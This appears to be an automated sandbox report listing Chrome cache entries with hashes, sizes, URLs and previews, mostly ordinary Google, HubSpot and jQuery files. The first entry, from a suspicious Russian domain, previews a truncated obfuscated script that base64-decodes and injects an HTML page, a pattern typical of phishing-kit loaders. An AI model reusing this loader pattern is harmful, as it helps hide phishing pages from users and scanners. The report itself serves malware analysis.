SHA-512:	10BC8C94076711EA0A8A4F6DC41A01867E308D0E682DABAC13B19EF44611A4002D8492DF101E207F3619F79DCA6A732F5461DDE5405546EFDB4133CB9B18445C
Malicious:	false
URL:	https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413
Preview:	<script>....if(atob("aHR0cHM6Ly9RYjA2LmZmY3d5Z2ZmLnJ1LzVHNFlWLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiAwOw0KICAgIGxlZnQ6IDA7DQogICAgcmlnaHQ6IDA7DQogICAgYm90dG9tO

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	dropped
Size (bytes):	174410
Entropy (8bit):	5.552371664332172
Encrypted:	false
SSDEEP:	3072:Kx03C+ynn+R9n4huwXljOCGZhQox52yWk2b93BBpBzjZpdDeUyQzv82hkHzRznoL:K23Cj+rn4huSzGZhHx52yWk253BBpBz/
MD5:	3C5DD3A9D7BAB01DBCB2FC61DABEC896
SHA1:	6E4F37DF2E7257B8C127FC8F2101A42BFFC9D62A
SHA-256:	D6DFA24209CB921B89B4CD1AA039B0E73C5528302785FD9DFE7EE4E989860CDD
SHA-512:	805C517A2650EB990EBB72F0C9782596A1B064813507D152B470A99D3970EA596DE221B5633F2E5873B8BE7BD4F78D74122AAA776235C805F942AD2C60675A77
Malicious:	false
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Zi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.$i=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var aj,bj,fj,ij,hj,dj,gj;aj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};bj=function(){_.Na()};fj=function(a,b){(_.cj\|\|(_.cj=new dj)).set(a,b);(_.ej\|\|(_.ej=new dj)).set(b,a)};ij=function(a){if(gj===void 0){const b=new hj([],{});gj=Array.prototype.concat.call([],b).length===1}gj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.jj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.kj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.lj=function(a,b){a===0&&(a=_.kj(a,b));return a\|1};_.mj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.nj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.qj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.jj(a,b,d);var k=h[_

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1925
Entropy (8bit):	5.404374434820545
Encrypted:	false
SSDEEP:	48:GhOLRBFZMOLRA3qOLRKwOLR+oJc+u+OLRIkN0xD:GhOLzFZMOLK3qOLnOLjJc+u+OL7NE
MD5:	C44DB48F851A8C565A54C4AB5BED6E25
SHA1:	EEB3C5A72FF874C571B17079FF883229979E8915
SHA-256:	01C1FAD37EC4999857052791695D8554164B073B6F274835CE4CD994CE329123
SHA-512:	23783B149CDEBA1F60FF5AEDDB1057704EE178D0DE33E10EF1A97444F6E603403A0150D19F40F1C6E2B45B8E41082782FA664A2A4143BC0D0E67854687D07036
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Google+Sans+Text_old
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ cyrillic /.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qE52i1dC.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek /.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEl2i1dC.woff2) format('woff2');. unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;.}./ vietnamese */.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEV2i1dC.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64739)
Category:	dropped
Size (bytes):	69908
Entropy (8bit):	5.29809183724069
Encrypted:	false
SSDEEP:	1536:qk9kTUaEjnVonZXYNtWu2scVDXYRClzlIgQXyjXlkaioEFWOqDw6usT5aXsdtkVV:HND2LlzlIgQX28XsYce
MD5:	67B596350ABAD656EFD98939307B5B9A
SHA1:	E8FD4A7BB5F7D0B95C9AD5F63E964697FDF9FE64
SHA-256:	993550830D89CF99EC3FEFBF143C3C68997A9D10B537D5C11316E8AB49A43BB6
SHA-512:	9E714E5435B991B77CC39B08DBAADE1227A971A067665431CD991EE944A0422F7979C90D2E0EE035C7EC0D730E43F98000153726EE48690A3D02FD4D21BF0256
Malicious:	false
Preview:	/** . * HubSpot Analytics Tracking Code Build Number 1.993. * Copyright 2024 HubSpot, Inc. http://www.hubspot.com. /.var _hsq = _hsq \|\| [];._hsq.push(['setPortalId', 48192692]);._hsq.push(['trackPageView']);._hsq.push(['setLegacy', false]);._hsq.push(['addHashedCookieDomain', '224894981']);._hsq.push(['addHashedCookieDomain', '233546881']);._hsq.push(['addHashedCookieDomain', '20629287']);._hsq.push(['addHashedCookieDomain', '251652889']);._hsq.push(['addHashedCookieDomain', '132891409']);._hsq.push(['embedHubSpotScript', 'https://js-na1.hs-scripts.com/48192692.js', 'hs-script-loader']);._hsq.push(['initEventVisualizerScript']);._hsq.push(['setTrackingDomain', 'track.hubspot.com']);./* _anon_wrapper_ */ (function() {./! For license information please see hsa-prod.js.LICENSE.txt */.(hstc=hstc\|\|{}).JS_VERSION=1.1;hstc.ANALYTICS_HOST="track.hubspot.com";(hstc=hstc\|\|{}).Math={uuid:function(){if(window.navigator.userAgent.indexOf("googleweblight")>-1)return hstc.Math._mathRandomUuid();

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	7.804238591680567
Encrypted:	false
SSDEEP:	48:1zHt3x+SY41uQbRbv+/FiknQpCg6OVH4E:JR/Y4kQdvKnQraE
MD5:	24A07BB6C54E9FDD7569B317F24B26FB
SHA1:	046FCD8D47CC7CCF81947A4A5AC7F8BA7BA13A93
SHA-256:	02CE36EBFE4CC68CB527B50BFE706F9D3A679A0A6E8D42E7A7B890C66951990C
SHA-512:	2C04C9DCA9C7CE0893F0CF26015AEEF675A073B39E9C33BCD0D9D59D19B4FEC446D777DF43EEAD62576C759DF8052586AEADF970AC363FD9B7A13E615251BF71
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....bKGD..............pHYs.........B(.x....tIME.............IDATx..[kl.U.........Uy..0........DCPb.j4..h.P..R.....".?4>..b.`....H..E.b\|.jLE...e;..{...;........w..s...).....o..(.....dp..m.X_.0.{....df....@N..^.6..im.....9...(.....R..?v.vc...~\...3VH....}.. ...[[2..~.![........d......=.t....$...!6..36....8......:...../3.....T..}..3...u.T.......E.G...1.I:"........0R.....>....t...2..K3...R\|Om........_.ZJ8....'...A.)..A..%...<.V.1..x.{.64k^..`..o. ...i....A......D.(f6.f.j.......v.....R{....Q.=n........F....p.'..:.X.:?.3-..-."!.V.z..O..5nsJjcs...@^?..f.......!.i.S..9_\........<.?...-QJ..]. ..yK......]w.<.wT.#u.+I..\..5..).=..{N..I.=......M..Ai......)E...+.;....{...VC....@a..)..G1....33UQ....G.b%.]. .nH...1....'.F.1.`y.kDX.......70).....i....l..L4a....`...ai......cy...+F..h\|b..A..Q...i.&..`..(oOu..r..`c..!.,.c...~...xQ..~-.%nxD.u...~j+.g.5'.\|.Cv@..@.b..S.u\..B..V.4._.u.....pw...9no.#..S..B.._..o.E..8...(..:7._^.."^

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 155 x 155, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9022
Entropy (8bit):	7.9599076792234955
Encrypted:	false
SSDEEP:	192:cSDm0LErRkF1TigL/DWfWgm2yx/dqBRO3zsbCtG8foPpfkVyCzWWcleXjl:bqrW/9LbWfWL2yKnOiCnwPpf4yYW54
MD5:	1DBF72BB19B804BBE3DBEBA082928F79
SHA1:	96AFB1E7F50755E2D8F0E75AA248258ABC94B004
SHA-256:	72108F86CAE18712175896CF55EDAC220103E1ED1D825B79EA364CC6E98933F7
SHA-512:	DE3520C5163CC0D96CC600C00F12F8B7A077D3ADB6E094F358E0A2F4DDD36F95C296773C87BA09BC6B02DD8BB655CFE363008FE66A95A949EEA718A39BE6BB49
Malicious:	false
Preview:	.PNG........IHDR.............ua.....pHYs.................sRGB.........gAMA......a...".IDATx..]].].U^k...m@v.AE......c...........<@=.I.(..'u.....m)....$2F x.+...5%I.D<I.UA.K ......g.^.?k....w.Nb..?%.{.=..s.........4..O>.."4....c#..9h...l7..wdii.04..F.......C..a,4.....o.O.C.Xhd......57:&....J......q...B#.xm.-L2.b.1..6&z..B6..[.....6&..O.F...a,4...<........m.4...`..)....kd...lc......0...+.Aw..v.F.1....(.%..xlI.8hd......JU.C...<.....&....lc 0,.hH)A....?[..]..m.XZzn..+&..yY.8....B#..1;.../E...Bt....h....v..wO.j.yJN4./d.s.~..#.pC4....d.L.H.....1..>..7D#....#.....\T.&..C#..............,Y8.......rc4....h.RB.)N..Fj..u{....F..........)...d$V..u.[Vz.4....j..u.U....9z..-I ....;..#...(...-$K..h.i.......p..vD#.u0{....L~.........q/..$.%+..bK.vD#..@..Zr..Y...5Em.f.-g..q.f.ap..F..m.....V.O..x..X3...uMs...l;.....Z.....l."......h..(.D#..<..N.B.q......u.4...HH........a..l#A+l.Hj..e.7.F.I..W^F..?....P....h.@....4^.6....,d..9..G".8\....l..`.......a..57&..l.t....OVZ.f..f

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2310)
Category:	downloaded
Size (bytes):	215648
Entropy (8bit):	5.535746957395367
Encrypted:	false
SSDEEP:	3072:LtFitgcnsmIjj+D0KzmYasxzuZ1IwPcRCrhaPhka0Mf3/XVtVmbVM3:JYnsmQnZ1HcRCrva0Mf3/XVf
MD5:	92DD186FCBF02C0297A7201251760F0D
SHA1:	0CDA2C056E9265A8163B61F9627D4481DF81796F
SHA-256:	036FCE4DA79674F715FD3CEA24D5ED2B824752BE50FA5E418CE8D143EBDDCD10
SHA-512:	A9DC6B61A54A3349A22DF4680355F8ACBD182740DA7B09DBA7A6FFB55AD02D7AD34FE6C35681E5AC1E17F98800AF82896E8201CD449610CE06D191C21F30ACC8
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=UA-175894890-5&l=dataLayer&cx=c&gtm=45je4cc1v871812832za200
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__cid"}],. "tags":[{"function":"__rep","once_per_event":true,"vtp_containerId":["macro",1],"tag_id":1}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"}],. "rules":[[["if",0],["add",0]]].},."runtime":[ [50,"__cid",[46,"a"],[36,[17,[13,[41,"$0"],[3,"$0",["require","getContainerVersion"]],["$0"]],"containerId"]]]. ,[50,"__e",[46,"a"],[36,[13,[41,"$0"],[3,"$0",["require","internal.getEventData"]],["$0","event"]]]]. .].,"entities":{."__cid":{"2":true,"4":true,"3":true}.,."__e":{"2":true,"4":true}...}.,"blob":{"1":"1"}.,"permissions":{."__cid":{"read_container_data":{}}.,."__e":{"read_event_data":{"eventDataAccess":"specific","keyPatterns":["event"]}}...}....,"security_groups":{."google":[."__cid".,."__e"..]...}....};.....var h,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{d

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	1156
Entropy (8bit):	7.641409089701019
Encrypted:	false
SSDEEP:	24:N3EYfac/0pSSKIpplTOsO+XAYKn3qX5L2ieij8LYHVo7RjCrnvl0:9E6YSS57ZOsbXM3+Z2iwLYHVqRjW2
MD5:	1B1F39C8352254F34FAF2D93BAA4B0CE
SHA1:	575957AFE30E2C60C91AC76019C58A3EC1AC6A44
SHA-256:	9CEA119E265DB3CB32F59FD8211FDDCA7DFCD9ACB76BB229853F133305CF43CF
SHA-512:	B4628ADCE6FF0F2E41C169D0033BCD20E42D8393EFA96A18D19C8D064F210B0B769B75C23D8B290F42B401ED43813C4C6D1D260508A40F25B80EAF2D3A68F321
Malicious:	false
URL:	https://www.gstatic.com/images/branding/productlogos/pay_ios/v10/web-64dp/logo_pay_ios_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@.....%.....KIDATx......... .O3..".....L@@@@@@@@@@@@...... .\|..>c..m{9.m.6..^.m.j.o.l...7....-t..>..[&O...{..#..Dto..OOH.m..}a.......y\..T.rlhja...L....4......pM...o......sr.......R..x..h..%^..{.....E..5]w.,M.8mf..T.............-....:t...~frSGQ.......`.............r...'..O..1....S.....N...yu-.......G....vO..}..iM...@eu....j.-m.a..6..v.n...S........2.6..N.{z....R....I=~L..S.T..I...}...z..........l.0.......[Z.a......2........Z]];..!..@..r..~...Q......adt.PSs.._...>.@R\..q Y.A..p..F..^.\....B....IXd..[..E.w......1..tL{R.....W....UbJ:...C...D........tA....3.....S...O].}.FS..{.s.,J...........h.....76.W(...4....C,......~.g>...5.v..7..x....}...i'.L\|R*.y....w\.....Q...;...Z......S....l.7 .X...:...L......DI.....-.....\|..NTl..s.....O[(.....i...!.@fW\|'%s..sm.D9.N.h..k..L..J....d......3.r.._.x..[...].?.Z.U.;.........h.@N..@gW7....j.......f...........s..Z_+.....>.q.[..s......../......m..]i....zNOH.l......\|.w...\|....&..)-Vdi9

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	downloaded
Size (bytes):	121769
Entropy (8bit):	5.4739773711708555
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozsCb0YJr35ecMNiycRAD/lsJTD5qzR:dIyKGRKR6Q2XXYJrJTD5qWT88I
MD5:	A30AD4B824EABD49827717DA4DD32163
SHA1:	BE003CDBFD22A27CF8C7B5CD12267E1DDAC23120
SHA-256:	4BB8D199FC83D95CF64D3ECE1F6A53F27535B0F335471ED675C03B729A7BBF86
SHA-512:	A9A4A1C8E94C875E2E7BA5A9BE929B59568127F21ABB921EF2721BD84E6329EE50D7B2B19AA7394F961926B64627A0B3ED4044EDDAA93E4A77F6E8A26A185E12
Malicious:	false
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.514391089546807
Encrypted:	false
SSDEEP:	12:6v/75yAuLPnAGHqHV85xtV6guWvbZagCX48ZYiNa2T1bpp6oNFs+vM5v40GNSkc:Quy8b7NuWv6smTFFNFsYM+xu
MD5:	CE23C4CB379C32AE54DF13CA22DE161C
SHA1:	A8532339309E8572140F4CE343CAFF7B187029E6
SHA-256:	1F00BF732DFC5A8C7885885117D9C3A44F25EA1F31E92C52237C76D7BF908525
SHA-512:	B7B6F454A0BCB56B9EED5982F3355F528CFFE63BED62D0D884DC3259DCBFDC706DD827ACFB0A64FDCD9F610965D30276CDEB5FCD5DFE2E5AD413D7B150EC61DE
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq....<IDATx....#A....l[k....m.m.m......\.....M.U.e..y...........t..).K..'\.N....r)(.$ .0I..?Y...G..O>>.@.._..r#..G..'].m..5.Z.....aD...\..o..26.2..I.?.o..4.m..9.....:\q.j...D.h.........Sf...O........L....P.M..~.....$^...IC...F~J...9.e.%1<.:Q'!.Br):\|4}^.d....'\.......b...B..'.R../....9..@.....~..x..(M.CM-+...I......$p....$p..`{P....0...<k..v.(A..Q...j...Qw....$L.<k.....k./u-lu.A+....j..K.....&a...\.].....5.e...1._..+.f..MBw.Y.X..C._]=.....{7\(.$..@.@.g...}S..wp....w. .$..@.@.g.._a}9..t..2C%.M....uV>rM5......R..............@..+.....V.x.yf.N.R.,.....)oU...;.:+..m.@...>.....,..I...6.p......l..PI.ozI._..W~2\|x"T...[j1...'....2.-....I..<.)......+...I..+...I..'a.h...\|..L.W.......]........h.........8......8...k;...5...0....]W3=.....;...D..q.r..{.....b.W.....8....X.k.76......F............;....g.......IEND.B`.

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3553
Entropy (8bit):	7.879324676378831
Encrypted:	false
SSDEEP:	48://6FxB8vJrgylrK/3g6fcgCAZxZ8OH6LB7Vi3lSHoJIHV8m3hOS8BCZnd89cwf5L:/S7B6rg6U3xihi3lteHV8MOQMKwf5L
MD5:	048844E6D7C74FB25F495EADED1C91B7
SHA1:	E8C464A491D9D03138BE2E5719DAE03A86E7B343
SHA-256:	0A44F98D5ADEC463FA3FDDCA7163E694BC1D93DF57C916F3771602193899BB7C
SHA-512:	551D97CD41FB9362703051D8080BF97CC0A4F324800C542944983C8DE39045E1245D7E3D7D616BCE404BB42608A43C857DC70A14E81D72C02A80049046A05D29
Malicious:	false
URL:	https://ssl.gstatic.com/images/branding/googleg/2x/googleg_standard_color_64dp.png
Preview:	.PNG........IHDR..............>a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs................UIDATx..].tT...M&!....l.Q.,.d.{....y3!A.03...,.Z9-...K......`....$.b..d.8=@.A..V6.l... .L.....'$LV2........$...~...\|..L.b.....T...<;../Yyv...v.5.a..;c..............~Vc.2N.....O.......~`...2.T.F.#..A.(S)..5.l...1...\|E.0 .M..........Y..1...w.....K.[5.@..uc.6..vh.9.t....@.....;./t.....<.W....@.y..c.B..q84.c6-...c;..wb....8t.K..r.4.)x'. -..ok<.%.$Q..^.nGn^&..v....oB......0l...8S..{.x.......8.L"..p.r.].....-.<^q..f......n.;j.(.-3...J.C..[u...7?H..6.@...e...)66.~....N......Cj.e.....NA.rlp.......V9..-U.X.S...N...]9-.............W....m..._G..V.D.\|....F.....D.=...m....C.y..~.r.L...L.....4.E..$w.....(...>{..&A.q.OS=.....<...&Q.Ak.+..D./.g....>d&.`_..$.R..."X...E...n.6..s..#K...."T.F.H.9.W.b....J..h........i.'....h... I...&.....z...>.2\|....c./c......@.w^R.;x..<.6s.v........a.d;..3..wk...q1...F*U...0....gyU..&.._.f.$.\..M.&.ur.B.\|,[&A...\|...

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1966)
Category:	dropped
Size (bytes):	7562
Entropy (8bit):	5.474831605216326
Encrypted:	false
SSDEEP:	192:3fODlRD/QHF0l8dbLRxHFveL6WqNM5I/9TrK:vODz/AzbL/HcLf+9Tu
MD5:	A27E26C0DFF8F077EF194FC93E6DBEF0
SHA1:	EDE7F27A613744FA00333593D13390D256169D4A
SHA-256:	8BF67A6C9C5C40D991745F3F5E4B4ABEA22C02067ADC943BF32078C8AC6A9C37
SHA-512:	F1EE68F683A6C27250D9E9D82ABCE867B452DE872FE5D6509DE5B29F6D78E92FC9475D9F4C4F871C4BFA25CBADE62940217657B270BEB9270D69477EC51CBD3A
Malicious:	false
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.qAa=_.z("VNcg1e",[_.qn]);._.n("VNcg1e");._.V0=function(a){_.ro.call(this);this.j=null;this.tb=a.Ra.soy};_.B(_.V0,_.J);_.V0.qa=function(){return{Ra:{soy:_.bv}}};_.Ov(_.qAa,_.V0);._.p();._.rAa=_.z("JWUKXe",[_.qAa]);.var LFa;_.sK=_.G("c0v8t");LFa=function(a,b,c){this.scrollTop=a;this.v=b===void 0?0:b;this.j=c===void 0?!1:c};_.uK=function(a,b){b=b===void 0?0:b;_.ig.call(this);var c=this;this.ua=!!a.v;this.Aa=b===1;this.ya=this.ua?a.j.document.body:a;b=tK(this);this.tc=new MFa(b);this.na=new MFa(b);this.Qa=_.kl().height;this.H=void 0;this.j=new LFa(b,0);this.Ha=this.Ea.bind(this);this.N=null;this.oa=this.ua?a.get():a;this.v=new _.$r(this);_.mh(this,this.v);this.v.listen(this.oa,"scroll",this.Ha,this.Aa);this.N=function(){c.tc.j=!0;c.na.j=!0;c.Qa=_.kl().height};this.v.listen(this.oa,"resize",this.N,this.Aa);this.Ta=[]};._.B(_.uK,_.ig);_.uK.prototype.Db=function(){this.v.B

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 930 x 565, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4150
Entropy (8bit):	7.894490189272893
Encrypted:	false
SSDEEP:	96:fVLkO6VtP7AxLRqlRlbh/M4m69s+hUVBUHISbltBp:fVLkB97+aRlbhBmLKUgHf5tBp
MD5:	59E803FE836633E549EE56196B8FF028
SHA1:	67B5BDDB03EDB5990DB7ED366BC3DB62DB0E9902
SHA-256:	F45759373D24DBBA58D8632DDF187367F58C908CA456AA0EF0BAFBF5AC7DA1EB
SHA-512:	79F4B02734C02CE09D86B9D3A3AF29C2587E1973059D9D9B357F1215715A327DA206A13B9233C6CDA37B92E96CA669441982E0D63993C509E8A1D1010801A76D
Malicious:	false
URL:	https://ssl.gstatic.com/translate/drag_and_drop.png
Preview:	.PNG........IHDR.......5......2......PLTE.............................................................................................f.....K..B..].....T.....T...........]..K..............x..f..]........o.........................................a...CtRNS. 0@`.......P...p@..o.0_0`_..................P............Pp.`....."....IDATx.............Ea.gn.._..9N.T.....I%.8qO.[.u.~..q?.A..4M.q..a....-'.Fr3w.a.J\|.4..nn..\I~.v.~....~m....o].LqI.e7..-..a.WR.^Na.....9m....9.....%....c..;-]....Y...s.......S.......u,Q.......L.s..4.1.tR...F..0...\|z..a(..N....\|,.H....8..pNC.@....g......U.:\......`xK..Z.qN .5;u.y@....B....R.TH..THA@..M...%^.c.3.a.....]N9.G......#...&.Gh..&A..{TK...J..l..1^.1A..A....0&RH.T!E.UH.+T!.f.<V!....IP....xl.9.}N`Ndj....(k..@...O..4...R..7.LA.g.0.....k. 